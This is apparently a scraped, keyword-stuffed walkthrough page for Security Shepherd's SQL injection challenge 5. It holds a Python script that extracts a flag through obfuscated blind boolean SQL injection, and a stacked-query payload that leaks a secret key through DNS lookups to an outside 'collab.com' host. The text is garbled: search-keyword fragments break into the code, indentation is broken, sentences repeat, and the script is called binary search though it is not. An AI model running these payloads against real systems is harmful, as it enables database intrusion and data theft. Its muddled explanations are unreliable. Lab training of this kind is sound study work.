Sql+injection+challenge+5+security+shepherd+new -

Doing this manually takes hours. Use a Python script with requests and binary search logic:

import requests
url = "http://localhost:8080/challenge5.jsp"
flag = ""
position = 1
while True:
for ascii_val in range(32, 127):
char = chr(ascii_val)
# Blind boolean payload
payload = f"1'//aNd//(SeLeCt//SuBsTrInG(flag,{position},1)//FrOm//users//LiMiT//0,1)//=/**/'{char}'-- -"
params = {"userid": payload}
resp = requests.get(url, params=params) sql+injection+challenge+5+security+shepherd+new
    if "User Found" in resp.text:
        flag += char
        print(f"Found: {flag}")
        position += 1
        break
else:
    # No more characters found
    print(f"Final flag: {flag}")
    break

Submitting a single quote (') in the username field results in a generic error page or a blank response – no detailed SQL error is shown. This indicates:

' OR 1=1; DECLARE @p nvarchar(4000); SET @p = (SELECT SUBSTRING(secret_key, §pos§, 1) FROM secret_table); EXEC xp_dnsresolve @p + '.collab.com' --

The first step is always to determine how the application handles our input. Doing this manually takes hours